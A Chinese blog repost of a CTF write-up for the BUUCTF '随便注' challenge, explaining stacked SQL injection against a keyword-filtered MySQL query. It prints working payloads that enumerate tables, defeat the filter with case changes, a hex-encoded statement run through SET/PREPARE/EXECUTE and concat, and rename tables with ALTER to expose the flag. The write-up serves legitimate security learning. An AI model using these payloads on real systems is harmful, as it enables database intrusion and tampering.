码迷,mamicode.com
首页 > 其他好文 > 详细

BUUCTF 随便注

时间:2019-12-10 22:24:05      阅读:100      评论:0      收藏:0      [点我收藏+]

标签:关键字   改变   inf   alter   调用   数据   nbsp   com   size   

知识点:

##堆叠注入

#预语句注入

 

https://www.cnblogs.com/0nth3way/articles/7128189.html#autoid-1-0-0

正则过滤了很多关键字导致无法进行常规的注入,试了很久康wp才知道是堆叠注入

1‘;show tables;#

得到表名

技术图片

 

 

1‘;show columns from words;

words的列 有id 和 data

1‘;show columns from `1919810931114514`#

有flag

flag再 第二张表中

正则过滤了很多关键字,这里采用两种方法绕

一:预语句 // 简单来说就是先设定好这个语句然后直接调用并执行就行了 

技术图片

 

 用16进制绕过select

技术图片

 

 但是发现set 和prepare被strstr()函数过滤 ,但是这个函数对大小写敏感直接尝试大小写绕过

payload:

1‘;sEt @a=0x73656C656374202A2066726F6D20603139313938313039333131313435313460;Prepare esql from @a;execute esql;

第二种payload,这里不用16进制绕过,用concat绕过:

1‘;sEt @a=concat(‘se‘,‘lect * from `1919810931114514`);Prepare esql from @a;execute esql;#

二:改变表的结构

分析

总共有两张表,一张是words 带有两列 ,另一张是带有flag的表,而正常的回显肯定是从words的表里查询数据的,那么猜测后台的语句可能如此

select id,data from words

现在只要 把words其他的,然后把带flag的表改成words并把列名flag改为id就好了

1‘;rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

之后再 1‘ or 1=1# 就可以拿到flag

BUUCTF 随便注

标签:关键字   改变   inf   alter   调用   数据   nbsp   com   size   

原文地址:https://www.cnblogs.com/tlbjiayou/p/12019343.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!